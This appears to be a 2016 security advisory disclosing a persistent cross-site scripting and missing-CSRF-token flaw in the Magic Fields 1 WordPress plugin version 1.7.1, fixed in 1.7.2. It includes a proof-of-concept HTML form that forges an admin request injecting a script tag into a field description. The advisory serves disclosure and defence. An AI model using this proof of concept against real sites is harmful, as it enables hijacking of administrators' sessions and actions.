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WordPress Magic Fields 1 Cross Site Scripting

WordPress Magic Fields 1 Cross Site Scripting
Posted Aug 16, 2016
Authored by Securify B.V., Burak Kelebek

WordPress Magic Fields 1 plugin version 1.7.1 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
MD5 | 73ed61579273f79f062cb7bb3b3d55ff

WordPress Magic Fields 1 Cross Site Scripting

Change Mirror Download
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Persistent Cross-Site Scripting in Magic Fields 1 WordPress Plugin
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Burak Kelebek, July 2016

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Abstract
------------------------------------------------------------------------
A Cross-Site Scripting vulnerability was found in the Magic Fields 1
plugin. This issue allows an attacker to perform a wide variety of
actions, such as stealing Administrators' session tokens, or performing
arbitrary actions on their behalf. In order to exploit this issue, the
attacker has to lure/force a logged on WordPress Administrator into
opening a malicious website.

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OVE ID
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OVE-20160724-0020

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Tested versions
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This issue was successfully tested on Magic Fields 1 version 1.7.1.

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Fix
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This issue is fixed in version 1.7.2

------------------------------------------------------------------------
Details
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https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_in_magic_fields_1_wordpress_plugin.html

The Magic Fields plugin lacks a CSRF (nonce) token on the request of adding a magic field. The description field of custom fields lacks output encoding which could result in malicious script inserted by an attacker and executed in the browser.

You need to lure a logged-in admin to follow a malicious link containing the poc below.
Proof of concept

The proof of concept below injects script code in the "description" field when adding a new custom field.

<html>
<body>
<form action="http://build.wordpress-develop.dev/wp-admin/admin.php?page=MagicFieldsMenu&custom-write-panel-id=1&mf_action=finish-create-custom-field" method="POST">
<input type="hidden" name="custom-group-id" value="1" />
<input type="hidden" name="custom-field-name" value="asd222asd" />
<input type="hidden" name="custom-field-description" value="as22da2<script>alert(1)</script>" />
<input type="hidden" name="custom-field-duplicate" value="" />
<input type="hidden" name="custom-field-order" value="0" />
<input type="hidden" name="custom-field-required" value="0" />
<input type="hidden" name="custom-field-type" value="1" />
<input type="hidden" name="custom-field-helptext" value="" />
<input type="hidden" name="custom-field-css" value="magicfields" />
<input type="hidden" name="custom-field-size" value="25" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.


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